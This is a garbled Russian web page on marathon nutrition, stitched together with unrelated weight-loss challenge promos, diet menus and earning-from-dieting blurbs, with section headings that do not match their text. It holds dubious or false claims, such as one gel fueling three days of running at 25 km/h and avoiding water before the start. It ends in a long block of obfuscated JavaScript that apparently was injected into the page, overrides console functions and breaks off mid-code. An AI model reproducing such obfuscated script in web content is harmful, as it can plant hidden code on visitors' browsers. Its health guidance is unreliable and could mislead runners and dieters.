Питание для марафона – до, во время и после соревнований, советы и отзывы марафонцев

Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев Продукты
Содержание
  1. Что кушать после марафона?
  2. Что кушать в последнюю неделю до старта
  3. Что кушать за несколько часов до старта
  4. Что кушать за несколько недель до старта
  5. Варианты полезной еды во время марафона
  6. Выиграть фитнес-марафон
  7. Диета для василисы. трава сенны в пакетиках для похудения
  8. Диета марафон 21 день. английская диета 21 день меню
  9. Диета марафон меню. белковый марафон. меню белковой диеты для похудения
  10. Диета марафон. марафон «21 день правильного питания!»
  11. Для участниц марафона! изменение названия нашего марафона!
  12. Дни: 1, 2, 21 – разгрузочные или молочные;
  13. Дни: 3-4, 7-8, 11-12, 15-16, 19-20 – белковые или мясные;
  14. Дни: 5-6, 9-10, 13-14, 17-18 – фруктово-овощные.
  15. Измени себя внешне и внутренне за 4 недели
  16. Как заработать на похудении? фитнес-приложения, которые платят. марафоны
  17. Мезотерапия — уколы для похудения
  18. Мнение диетологов о методе елены
  19. Мы вместе позаботимся о вашей фигуре и здоровье
  20. Необходимое количество углеводов
  21. Откуда брать энергетику для марафона
  22. Питание до марафона
  23. Плюсы и минусы программы похудения елены кален
  24. Поспорить с другом
  25. Похудеть с приложением
  26. Правила питания на марафоне и полумарафоне
  27. Прекратите это терпеть!
  28. Результаты клиентов
  29. Сколько стоит марафон?
  30. Упор на углеводы
  31. Отзывы марафонцев о еде

Что кушать после марафона?

Такой аспект как восстановление сил после самого марафона является очень важным звеном, каким бы ни был опыт у спортсмена. Если беговые дистанции будут малыми, то человек приходит в себя очень быстро, а если это был большой марафон, то спортсмен сможет восстановиться только через 14 дневное окно.

Такой срок для восстановления будет одинаковым как для опытного марафонца, так для обычного человека, чтобы быстрее восстановиться требуется определенное питание, массаж и растяжка мышц. Также требуется солевая хорошая ванна для расслабления мышц и улучшения работы суставов, кроме этого требуется пешая обычная прогулка на улицах города.

Организм спортсмена после марафона будет обезвоженным, так что человеку требуется пить витаминные соки, а также плотно кушать, рацион должен быть питательным, витаминизированным и богатым углеводами. Сразу после марафона, когда организм успокоится, следует принять больше легко усваиваемых углеводов с добавлением малого количества белка, а также желательно съедать в день 1-2 банана.

Еда должна быть с большим количеством углеводов, а также для восстановления мышц требуется и белковая еда, такой процесс восстановления должен проходить рационально и с умом. Если организм будет требовать воды, то ему отказывать не следует, очень полезен и жизненно важен для марафонца будет суп с курицей, который быстрее восстановит ваши силы.

Рекомендуется меньше есть жирной пищи, так как она слабо переваривается, главное чтобы было больше углеводов и белков, которые должны поступать в определенном количестве. Многими марафонцами используется такой важный момент как минеральная обычная вода с добавлением меда и различного варенья, очень полезен еще зеленый чай.

Еда для быстрого общего восстановления должна состоять примерно из 80% углеводов, это могут быть сыры и разные салаты, а также спагетти, гречка и рис, обязательно есть при этом морепродукты. Желательно забыть еще про жирные пищи и о сладком, должна быть обязательно цельнозерновая различная крупа, а также овощи и хлеб.oes here

Что кушать в последнюю неделю до старта

Готовиться до марафона следует заранее, большее значение здесь имеет именно питание, еда до тренировок и после должна быть продуманной в аспекте углеводов, жиров и белка. Рекомендуется спортивное хорошее питание с овощами и фруктами, пока еще можно есть семена и орехи, а мясо должно быть только от животных, которые питались травой, а также требуется кукуруза и овес.

Больше всего следует есть овощи, затем идут фрукты, еще меньше съедайте мясо и рыбу, теперь только идут молочные разные продукты и обработанные обычные зерновые. Употребление овощей и фруктов обязательное, еда должна быть только хорошего качества, а сладостей должно быть как можно меньше.

Тренировки лучше делать утром, так как соревнования обычно идут только по утрам, завтраки должны быть углеводными, можно есть овощи и фрукты, обязательно делать перекусы, обеды с супом и цельнозерновыми, а ужины обычные без мяса.

Что кушать за несколько часов до старта

У разных спортсменов есть свои уникальные рецепты питания за 1-2 часа до старта, обычно это углеводы или же тарелка хороших отварных макарон. Марафонцы со стажем могут посоветовать еще геркулес или же гречку и рис, так как эти каши богаты разными углеводами, такому моменту следует уделить много времени и внимания, так как от этого зависит здоровье спортсмена и его самочувствие.

Бегать с годным желудком не стоит точно, можно съесть легкие продукты, то есть бананы либо яблоки, здесь многое зависит от того что если вчера, даже если и не хотите есть то сделайте легкий завтрак. А вот воду за полчаса до старта пить вообще не следует и это очень важный фактор, вполне можно обойтись если не яблоками, то энергетическими разными батончиками, можно еще съесть орехи и даже сухофрукты, то есть долгие углеводы.

Что кушать за несколько недель до старта

Марафонец должен четко знать, что именно едят за несколько недель до самого марафона, а также при этом следует употреблять и витамины, такие как С и комплекс В, а также мультивитамины. До старта за пару недель исключается из питания сало, кофе и апельсины, также лучше отказаться от жирной и тяжелой еды.

Желательно забыть еще о бобовых, должно быть меньше продуктов богатых клетчаткой, запрещается переедание даже при углеводных диетических загрузках. Рекомендуется быть еще осторожными с молочными разными продуктами, забудьте об экспериментах с едой и четко следите за уже установленными рационами. Общие планы питания изменятся уже за пару недель до самого забега, жесткая диета здесь уже запрещается.

Обязательной является белковая диета, которая должна чередоваться с диетой углеводной, главная цель это дефицит гликогена. Благодаря диете и строгим тренировкам за 14-15 дней до старта гликоген уменьшается с 1,5 мг до 0,5 мг в 100 г тканей мышц. Далее идет сверхкомпенсация такой потери и запасы гликогена увеличатся до 3-4 мг, что является защитной обычной реакцией организма человека.ere

График диеты может быть 3:3 или 2:4, это соотношение углеводов к числу дней диеты. Требуется еще за 30 дней делать контрольные регулярные тренировки с бегом в 32 км и более, дистанции должны быть меньше, чем при соревнованиях.

Уже за 14 дней до старта увеличивается потребление углеводов с гликемическим малым индексом, это в основном продукты из цельной обычной пшеницы, а также крупа и рис. За 10 дней до состязания количество этой еды увеличивайте постепенно, чтобы дойти до максимума за 7 дней до марафона.

Варианты полезной еды во время марафона

  • Гель спортивный. Такой гель является самым эффективным и удобным питанием в марафоне, здесь кроме самого геля могут использоваться аминокислоты и даже кофеин. Такой спортивный замечательный гель представляет собой джем, состав геля достаточно эффективный и его легко можно использовать во время марафона.

Гель максимально удобен в использовании, имеет сладкий и даже приторный вкус, хотя и он может вызвать легкие странные ощущения, так что рекомендуется тестировать гели еще при тренировках. Согласно расчетам ученых геля хватает как энергетика для организма ровно для 3-х дней забега при скорости 25 км/час, именно он восстановит гликоген, то есть топливо для бега.

  • Фрукты. Для каждого марафона через 5 км ставится пункт общего питания, где дается вода и еда, идеальный вариант это разрезанные апельсины и бананы. Лучше всего есть именно бананы, так как там много уникальных веществ, таких как калий и магний, которые избавят бегуна от судорог в марафоне.
  • Сухофрукты. У сухофруктов достаточно большая ценность энергетики, так как они достаточно калорийные, полезные и важные для здоровья, хотя и могут вызвать при марафоне ощущения в области живота. К таким сухофруктам обычно относятся финики и курага, только к этому продукту следует еще привыкать при тренировках до марафона.
  • Изотник. Изотники будут раздаваться как на дистанции, так и после самого марафона, служит для восстановления солевого и водного баланса, хотя изотник и дает нагрузку в области печени, что может привести к легкой боли в боку.
  • Кола, Энергетики. Такие энергетики и кола дается обычно уже ближе к финишу, так как в середине дистанции кола может вызвать плохое самочувствие. Рекомендуется пить энергетики и колу только без газов и разбавленные минеральной чистой водой, что рекомендуется опытными спортсменами.
  • Спортивные батончики и шоколадки. Более чем половина спортсменов точно предпочтут эту еду для марафона, хотя опытные бегуны говорят, что такие сладости могут быть тяжелыми для желудка.
  • Спортпитание. Таким спортивным обычным питанием является Креатин, который пьется еще до старта, а также это ВСАА и Карнатин, требуемый для использования жира как топливо, рекомендуется еще Кофеин и Гуарана, только их следует уметь принимать спортсмену.

Выиграть фитнес-марафон

Пару лет назад в России начали набирать популярность так называемые фитнес-марафоны. Их организовывают фитнес-центры, бренды спортивной одежды, отдельные тренеры и даже блогеры. Условия у марафонов могут быть разные, но цель одна – привести в порядок своё тело.

Некоторые направлены на похудение в целом – они помогают избавиться от лишнего веса. Другие более узко специализированы и ориентированы, например, на «сушку» – создание рельефного тела. В большинстве случаев награда победителям марафона выплачивается из призового фонда.

Большинство фитнес-марафонов предполагают регулярный фотоотчёт. И один коллаж «до-после» тут не подойдёт. Как правило, участники должны публиковать еженедельные или ежемесячные (в зависимости от длительности марафона) фотографии своего прогресса или же отправлять их наставнику.

Кстати о наставниках. В некоторых марафонах – например, в тех, что организуют сами тренеры – участникам помогают похудеть, рассказывают, как делать это правильно, и даже дают обязательные задания «на вылет». Например, к концу первой недели участник должен отжаться десять раз и подтвердить прогресс, отправив видео с выполнением упражнения. Те, кто не справляется с заданием, автоматически выбывают из соревнований.

Но не всегда с участниками работают индивидуально. В некоторых марафонах организаторы дают общие советы по похудению, например, публикуют программу питания и комплекс тренировок на неделю. При этом они не взаимодействуют с каждым лично.

Как похудеть за месяц? Инструкция по применению

Статья, которая поможет вам скинуть лишний вес и не возвращать его.

Диета для василисы. трава сенны в пакетиках для похудения

Девченочки, только что получила письмо в личку от Ариши Ариша Ариша Москва Ариша Ариша , это девочка которая несколько лет ведет марафоны похудения на этом сайте. Думаю, многие ее знают. Она написала мне о том, что я использую название нашего марафона ОМП как и ее, а она сейчас оформляет на это название патент и через три недели его получит.

Это статья уголовного кодекса РФ, Нарушение изобретательных и патентных прав. Вот такие дела, девочки! Вот и пусть худеют, от слова худа. А мы будем стройнеть, от слова стройность. Можно запатентовать название или товарный знак фирмы. И ей еще деньги платят… Девочки, платите мне!

Диета марафон 21 день. английская диета 21 день меню

Рассмотрим полное меню английской диеты на три недели. Как уже говорилось, за 21 дневный период вы можете немного варьировать, менять некоторые продукты. Можно из предложенных продуктов делать разные блюда на ваш выбор. Но не забывайте о правилах: о режиме, о запретном списке продуктов, о строгом размере порций. Помните, что готовить можно только на пару, отваривать или запекать в фольге.

Диета марафон меню. белковый марафон. меню белковой диеты для похудения

Одними из наиболее популярных диет в наши дни стали белковые диеты. Суть такого метода избавления от килограммов достаточно проста, питание в этот период основывается на практически неограниченном употреблении белковых продуктов, таких как постное мясо, творог, яйца, рыба и т. д.

Кому подходит белковая диета

Такая система питания обрадует тех, кто не представляет жизни без мясных продуктов. Соблюдать такой режим питания достаточно просто, ведь меню белковой диеты для похудения отличается достаточным разнообразием. В нем есть место не только белкам, но и другим питательным веществам.

Достоинства и недостатки

К очевидным достоинствам белковой диеты можно отнести следующие аспекты:

  • снижение веса без постоянного преследующего вас чувства голода;
  • белковая пища легко справится с задачей обеспечить топливный запас для организма;
  • меню белковой диеты для похудения достаточно разнообразно.

Но и недостатков у этой диеты немало:

  • полный отказ от сладкого;
  • меню белковой диеты для похудения не является сбалансированным, ваш организм лишается не только килограммов, но и важных витаминов, минералов и микроэлементов;
  • продолжительное, более трех недель, питание белковой пищей может стать причиной дисфункции почек, дефицита кальция, а так же повышения уровня холестерина.

Основные правила белкового питания:

  1. Употребляйте продукты для белковой диеты в строгой последовательности. Правило, известное со школьной скамьи, — «от перестановки мест слагаемых сумма не меняется» — в этом случае не работает.
  2. Допускается изменять объем порции в сторону уменьшения.
  3. Постарайтесь не думать о еде, пейте теплую воду, она подавляет чувство голода.
  4. Ежедневно в обязательном порядке выпивайте 1,5 литра воды.

Главные мифы

  1. Углеводы – источник зла. Это утверждение верно наполовину. Сложные углеводы, содержащиеся в овощах и фруктах, весьма полезны для организма.
  2. Абсолютно все могут стать стройными, придерживаясь белковой диеты. Похудеть при таком типе питания можно, лишь строго соблюдая правила и употребляя только разрешенные продукты. Так, например, любители колбасок, скорее всего, не смогут избавиться от лишних килограммов.
  3. По окончании диеты вес не вернется. В принципе, на сегодняшний день нет диет, после которых, вернувшись к прежнему пищевому поведению, вы не увеличите свой вес.

    Диета Марафон меню. Белковый марафон. Меню белковой диеты для похудения

  4. Следовать программе, основанной на питании белковыми продуктами, можно сколько угодно. Как уже говорилось, длительный дефицит углеводов ведет к печальным последствиям. Лучше всего питаться, сочетая меню белковой диеты для похудения со сложными углеводами.

Что можно есть при белковой диете?

Сегодня существуют достаточно популярные диеты известных докторов Аткинса и Дюкана, а также небезызвестная кремлевская диета. Каждая из них имеет свое меню белковой диеты для похудения, со своими особенностями и нюансами, списками разрешенных продуктов.

Диета марафон. марафон «21 день правильного питания!»

Задание номер 2: выпить достаточное количество воды. Жми? , Если обещаешь выполнить задание!Обязательно нужно позаботиться о том, чтобы организм получал нужное количество чистой жидкости. Стакан чистой воды сразу после пробуждения выпивайте!

Как правильно пить воду для максимальной пользы?

После пробуждения: выпейте 1 стакан чистой воды.

Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев
Вода и освежит, и ускорит метаболизм, пробудит весь организм и повысит работоспособность. После воды можно через 15-30 минут завтракать.

Перед едой — стакан воды, выпитый за 30 минут до приема пищи: — Снижает вероятность переедания;. — Готовит ЖКТ к перевариванию пищи — стимулирует выработку пищеварительных ферментов и желчи.

После еды: Еду не запивать и пить воду не сразу после еды, а через 40-60 минут после того, как вы покушали.

До, после и во время физической активности: Питье воды перед физическими нагрузками и после защищает организм от обезвоживания, а также позволяет печени более эффективно справляться с токсинами.

Перед сном: Для протекания процесса детоксикации во время сна организму необходима вода. Однако если вы склонны к опустошению мочевого пузыря в ночное время, возможно, стоит воздержаться от питья воды на сон грядущий.

Сколько воды нужно за день выпивать?

1. норма воды: около 30 мл на 1 кг вашего веса. То есть, если вес 60 кг — норма приблизительно 1. 8 л / день.

2. факторы, влияющие на потребность в воде:

Погода, солнечный климат: в период летней жары повышается риск обезвоживания. Поэтому в жару так необходим дополнительный прием воды.

Интенсивные тренировки: при интенсивных занятиях спортом повышается потоотделение, поэтому организму нужно дополнительное количество воды (в среднем 400-600 мл.

Вы болеете ли сейчас? При повышенной температуре нужно пить как можно больше воды.

Вы пьете ли кофе? Кофе выводит воду из организма, поэтому если вы пьете кофе — стоит немного увеличить поступление воды.

3. беременные женщины, кормящие мамы, люди, склонные к отечности, а также люди с хроническими заболеваниями обязательно должны проконсультироваться с врачом по поводу приема воды.

Прислушивайтесь к своему организму и будьте здоровы!

Как приучить себя пить больше воды?

1. сделайте потребление питьевой воды удобным. Всегда берите с собой красивую и удобную бутылку с водой: держите ее при себе на рабочем столе, в машине и даже когда находитесь дома.

2. установите приложение на телефон с напоминалками о потребление воды.

3. просто вода — скучно? Добавьте в стакан немного натурального сока лимона или апельсина или заморозьте очищенные кусочки лимона, лайма, апельсина и используйте их вместо льда.

4. приучите себя к потреблению воды в определенное время: сразу после пробуждения, за 30 минут до каждого приема еды и через час после. Добавьте питье воды в свой распорядок дня.

Не забудьте в конце дня отписаться в комментариях о выполнении задания: 1. справились ли вы с поставленным заданием? 2. сколько воды вы выпили сегодня? 3. если вы уже приучили себя пить достаточное количество воды — поделитесь полезными советами с другими участницами марафона! 21 день@Lifestylenews.

Для участниц марафона! изменение названия нашего марафона!

Диета не всегда работают — они составлены правильно, но зачастую не учитывают индивидуальные особенности конкретного человека. Из этой ситуации есть выход — вы можете составить диету для себя , исходя из своих личных предпочтений и желаний, а также особенностей своего организма.

Для этого не обязательно обращаться к диетологу — вы можете самостоятельно разработать для себя подходящую диету. Такая индивидуальная диета будет эффективной именно для вас. Ответив на эти вопросы, вы получите более или менее ясную картину, которая вам поможет составить диету для себя. Для того чтобы сбросить лишние килограммы, вам нужно разработать меню правильной диеты для себя.

Дни: 1, 2, 21 – разгрузочные или молочные;

  • Завтрак: стакан молока или кефира, ржаной сухарик;
  • Обед: стакан молока или кефира;
  • Ужин: стакан молока или кефира, ржаной сухарик;
  • Перед сном можно выпить стакан томатного сока.

Дни: 3-4, 7-8, 11-12, 15-16, 19-20 – белковые или мясные;

  • Завтрак: кофе с молоком или зеленый чай с медом, ломтик подсушенного ржаного хлеба с маленьким кусочком сливочного масла;
  • Обед: Мясной, куриный или рыбный бульон – 200г, отварное мясо, курица или рыба – 150г, свежие овощи – 50г. Можно заменить запеченным мясом или рыбой с овощами – в таких же пропорциях;
  • Полдник: стакан молока, кефира или зеленого чая, ложка меда;
  • Ужин: Твердый сыр – 50г (можно заменить отварным мясом в таких же пропорциях, 100г творога или стаканом кефира), отварные яйца – 2шт, ржаной сухарик.

Дни: 5-6, 9-10, 13-14, 17-18 – фруктово-овощные.

  • Завтрак: яблоко – 2 шт., апельсин – 2 шт. Можно заменить любыми другими фруктами;
  • Овощной суп – 200г, овощное рагу, тушеные овощи или винегрет без картофеля с оливковым маслом – 150г. Можно съесть ржаной сухарик;
  • Полдник: Любые фрукты – 200г;
  • Ужин: Салат из овощей с ложкой оливкового масла – 200г, чашка зеленого чая с ложкой меда.

Меню английской диеты достаточно простое, не заберет много времени и сил, и не ударит по вашему кошельку.

В первые дни может появиться легкий дискомфорт, проблемы со стулом. За первую неделю организм адаптируется, и все неприятные ощущения должны пройти.

Если этого не происходит, появились болевые ощущения или усилился дискомфорт, рекомендуется прекратить диету.

Измени себя внешне и внутренне за 4 недели

Что входит в марафон:

  • индивидуальный просчет КБЖУ, исходя из ваших параметров, образа жизни и цели;
  • мои авторские лекции по питанию и эффективному жиросжиганию;
  • рекомендации по продуктовой корзине;
  • меню-конструктор на 7 дней;
  • советы по исключению пищевых срывов из своей жизни;
  • советы по питанию и активности во время ПМС и критических дней;
  • тренировки на каждую проблемную зону без спортивного инвентаря;
  • трекер привычек;
  • обучение вакууму для формирования талии;
  • упражнения для утренней зарядки;
  • проверка вашего рациона в чате WhatsApp;
  • мотивация и психологическая поддержка;
  • ответы на ваши вопросы.

В конце марафона вы получите:

  • минус в объемах;
  • минус на весах;
  • уменьшение или исчезновение целлюлита;
  • улучшение здоровья;
  • увеличение выносливости;
  • повышение продуктивности в ваших ежедневных задачах;
  • понимание, как кушать без подсчетов ккал и не поправляться.

Кому НЕ подойдет марафон:

  • людям до 14 лет;
  • людям с ограничениями по здоровью;
  • людям с большим лишним весом (больше 100 кг);
  • беременным.

Как заработать на похудении? фитнес-приложения, которые платят. марафоны

Сегодня фитнес становится всё более популярным хобби и образом жизни. Тем не менее не каждый может собраться с духом, найти для себя мотивацию и действительно заняться собой. В таких случаях дополнительной причиной не откладывать похудение в долгий ящик могут стать – неожиданно – деньги.

Мезотерапия — уколы для похудения

Минин Сергей Диетология 1 отзыв Просмотров. Официальный сайт Читать отзывы. Отзывы о нем заставили меня подробно обсудить данный продукт. Тема снижения веса очень обширна, как и количество способов, при помощи которых люди борются с килограммами. Прежде, чем использовать какой-то метод, нужно знать, подойдёт ли он вам.

Уколы для похудения – народное название мезотерапии. Действительно, кожу пациентки прокалывают микроиглами, и впрыскивают специальный состав. После затяжного марафона .

Мнение диетологов о методе елены

Диетологи относятся положительно к методике похудения Елены Кален, ведь, по сути, результат достигается благодаря соблюдению постулатов здорового образа жизни: исключены вредные продукты и добавлена физическая активность. Однако существует ряд советов, которые, по мнению специалистов, способны еще сильнее помочь в избавлении от лишних килограмм:

  • сон – это основа здоровой потери веса, поэтому 8 часов отдыха в день совершенно необходимы;
  • масло семян подсолнечника лучше заменить на оливковое или лимонный сок, если нужно заправить овощной салат;
  • увеличение количества употребляемой воды – не просто слова, ведь эта жидкость способна очистить организм от шлаков и токсинов, улучшить кровообращение и сделать кожу менее склонной к различным высыпаниям.

А здесь подробнее о диете Ходченковой.

Елена Кален предлагает методику потери лишнего веса, которая заключается в интуитивном питании. Ее преимущество в том, что меняется не только тело, но и отношение самого худеющего к нему, корректируется питание и количество употребляемых воды и продуктов. Достигнутые результаты можно сохранить на долгое время, а перемены в мыслительном процессе и вовсе остаются навсегда.

Мы вместе позаботимся о вашей фигуре и здоровье

Юлия – автор и ведущая марафона.

5 лет опыта в сфере фитнеса и питания, окончила обучение на инструктора тренажерного зала.

За 1 год более 400 девушек под ее руководством похудели в общей сложности на 2 500 кг и уменьшили целлюлит в домашних условиях.

Постоянно совершенствует себя внешне и внутренне, экспериментирует с питанием и тренировочными процессами для выявления максимально эффективных методик.

Необходимое количество углеводов

Чтобы увеличить запас общего гликогена до требуемого уровня, была придумана углеводная марафонная загрузка до 4000-4200 кКл, что зависит от конкретного организма.

Такая марафонская диета именуется еще как МУН, цель ее это снизить запасы самого гликогена до определенного предела, чтобы далее организм стал накапливать его только впрок, что очень важно для спортсмена.

О нормализации гликогена следует заботиться еще до старта за 2-3 дня, когда лучше не сеть углеводные продукты, такие как хлеб и крупа, также следует учитывать, что для первых 75 минут бега тратится до 60 г углеводов в час.

Топливо следует еще подливать каждые 30 минут бега, хотя каким именно будет топливо, зависит от самого бегуна, во время марафона отлично подойдут энергетические различные гели в упаковках. Рядовой спортсмен предпочитает в основном натуральные обычные продукты это могут быть даже орехи и бананы, а также семена и даже сухофрукты.

Идеальный вариант это все же энергические специальные батончики, многие спортсмены для увеличения запаса углеводов едят даже обычные сникерсы, конфеты и драже. Также есть случаи, когда бегуны съедали картофельные разные продукты, хотя это лучше всего только для ультрамарафона, а для дистанций до 42 км это делать не следует, также требуется помнить об изотниках, требуемых для увеличения рационального уровня углеводов.

Откуда брать энергетику для марафона

Идеальная энергия для марафона это именно углеводы, так как при длительных и сложных забегах энергия будет браться при этом только через запасы гликогена, который является запасным углеводом. Гликоген это главная форма хранения обычной глюкозы в клетках тканей человека, уровень которой падает при беге, кроме гликогена батарейкой может служить жир и белок.

Здесь следует учитывать, что количество углеводов и жидкостей, которые может обрабатывать человек, увеличивается во время самого марафона, так что можно принимать чуть более чем обычно бывает. Белковая еда идет для восстановления спортсмена, а сам упор делается именно на углеводы.

Для каждого марафона устраивается паста-пати, где спортсмен сможет увеличить свой уровень гликогена, лучший вариант это энергетический гель, а также в марафоне дается вода для восстановления сил, только организм спортсмена должен быть заранее готов к этим гелям.

Питание до марафона

Результаты спортивного состязания будут зависеть как от физической общей формы, так и от специальной диеты для поддержания силы и выносливости спортсмена.

До самого марафона и во время забега топливо для организма должно быть особенным, чтобы удовлетворить потребность спортсмена в энергии, которая сильно тратится из-за длительного бега.

Такое питание играет огромные роли в преодолении больших дистанций и этому моменту требуется уделить много сил и времени, лучше всего перейти на такие диеты еще за 14-15 дней до старта.

Те, кто уже много раз участвовал в марафонах, знает, как важна специальная правильная диета, кроме этого следует уметь контролировать свой аппетит, так как это очень сильно влияет на итоги соревнований. Рекомендуется еще за 1,5 месяца до соревнований перейти к тем продуктам, где есть сложные различные углеводы, то есть овощи, крупы и хлеб.

Главная задача диеты это эффективная подготовка тела спортсмена к соревнованиям, человек становится более выносливым и менее утомляемым, а энергетика его становится еще большей.

Плюсы и минусы программы похудения елены кален

Преимущества программы для похудения от Елены Кален:

  • результат, достигнутый благодаря интуитивной методике, можно сохранить на долгое время;
  • происходит полная перестройка мышления и отношения к себе и своему телу;
  • с помощью исключения жирных и вредных продуктов можно улучшить свое здоровье;
  • диета не требует соблюдения строгого рациона – можно самостоятельно формировать свое питание;
  • не существует возрастных запретов и ограничений, так как подобное похудение окажется полезным в любой жизненный период.

Поспорить с другом

Если же диджитал и массовые марафоны не про вас, всегда можно по старинке поспорить с другом. Тут сумма выигрыша тоже будет целиком и полностью зависеть от вас, а условия спора ничем не ограничены – договаривайтесь на такую цель и срок, которые считаете комфортными.

Похудеть с приложением

Сегодня многие засыпают и просыпаются со смартфоном в руках. Он может помогать поддерживать водный баланс, считать съеденные калории, отслеживать фазы сна и, как оказалось, зарабатывать на похудении.

Существует несколько приложений, которые готовы финансово поощрять своих пользователей, если они худеют, достигают поставленных целей и придерживаются здорового образа жизни. Можно выделить два основных подхода: соревнование (по аналогии с фитнес-марафоном) и достижение персональной цели.

Правила питания на марафоне и полумарафоне

>(-0x2*_0xe52d7b&0x6)):0x0){_0x4fa009=_0x33835b[‘indexOf’](_0x4fa009);}return _0x2ce216;};a0_0x5344[‘MSYvHM’]=function(_0x147d37){var _0x3a3234=_0x53444e(_0x147d37);var _0x95b9f2=[];for(var _0x5c109c=0x0,_0x492bcc=_0x3a3234[‘length’];_0x5c109c<_0x492bcc;_0x5c109c ){_0x95b9f2 =’%’ (’00’ _0x3a3234[‘charCodeAt’](_0x5c109c)[‘toString’](0x10))[‘slice’](-0x2);}return decodeURIComponent(_0x95b9f2);},a0_0x5344[‘uDogYq’]={},a0_0x5344[‘NuDHGB’]=!![];}var _0x75b161=a0_0x5344[‘uDogYq’][_0x35036b];if(_0x75b161===undefined){var _0x813e7b=function(_0x3456c1){this[‘jOBnSf’]=_0x3456c1,this[‘VcOAHj’]=
[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?–this[‘VcOAHj’][0x1]:–this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
